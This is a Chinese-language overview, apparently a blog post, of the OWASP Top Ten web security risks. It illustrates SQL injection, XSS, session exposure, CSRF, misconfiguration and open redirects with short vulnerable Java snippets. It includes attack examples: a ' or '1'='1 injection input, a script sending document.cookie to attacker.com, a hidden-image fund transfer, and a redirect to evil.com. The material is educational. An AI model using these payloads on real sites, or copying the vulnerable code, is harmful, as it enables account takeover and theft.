开放网络应用安全项目(http://en.wikipedia.org/wiki/OWASP)总结了网站中常遇到的十大安全隐患:
常见的sql注入攻击:
代码
String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") +"'";攻击者输入如下值,使得sql语句为真
http://example.com/app/accountView?id= ' or '1'='1最坏情况是黑客可以完全控制数据库
跨域脚本攻击:
系统使用不信任的数据作为构成html的代码
(String) page += "〈input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "'〉";黑客输入如下
'〉〈script〉document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie〈/script〉'.这样黑客就可以得到用户的session
Scenario #1
: session直接暴露在url中http://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii当认证的用户想让他的朋友访问这个网址的时候,他的朋友就冒充这个用户
Scenario #2
: 用户登出设置不对。用户在公共场合使用电脑,直接关闭浏览器,这时黑客就可以重新打开电脑冒充用户Scenario #3
: 用户的密码没有加密,公司内部员工可以查看到
代码:
String query = "SELECT * FROM accts WHERE account = ?";PreparedStatement pstmt = connection.prepareStatement(query , ... );pstmt.setString( 1, request.getParameter("acct"));ResultSet results = pstmt.executeQuery();黑客可以穷举acct,找到薄弱的用户信息
http://example.com/app/accountInfo?acct=notmyacct
假冒跨域访问
http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243黑客把如下代码加入:
<img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" />当用户登陆example.com时这个图片src里的代码就被执行了
Scenario #1
: 如果你使用一些framework,但是忘记更新,这时有可能被黑客攻击Scenario #2
: admin的入口还保留,而且使用默认密码Scenario #3
: 文件列表显示(apache默认)功能没有关闭Scenario #4
: 系统允许错误日志发送给用户,黑客可以利用这个发现漏洞
Scenario #1
: 虽然系统给输入数据加密,但是系统自动给输出的数据解密Scenario #2
: 解密和密码放在一起Scenario #3
: 使用unsalted hash来保存密码
代码
http://example.com/app/getappInfohttp://example.com/app/admin_getappInfo黑客可以访问admin页面
Scenario #1
: 不使用SSLScenario #2
: SSL认证错误Scenario #3
: 直接使用 ODBC/JDBC
Scenario #1: redirect到黑客网站
http://www.example.com/redirect.jsp?url=evil.comScenario #2:黑客使用foward去访问admin页面
http://www.example.com/boring.jsp?fwd=admin.jsp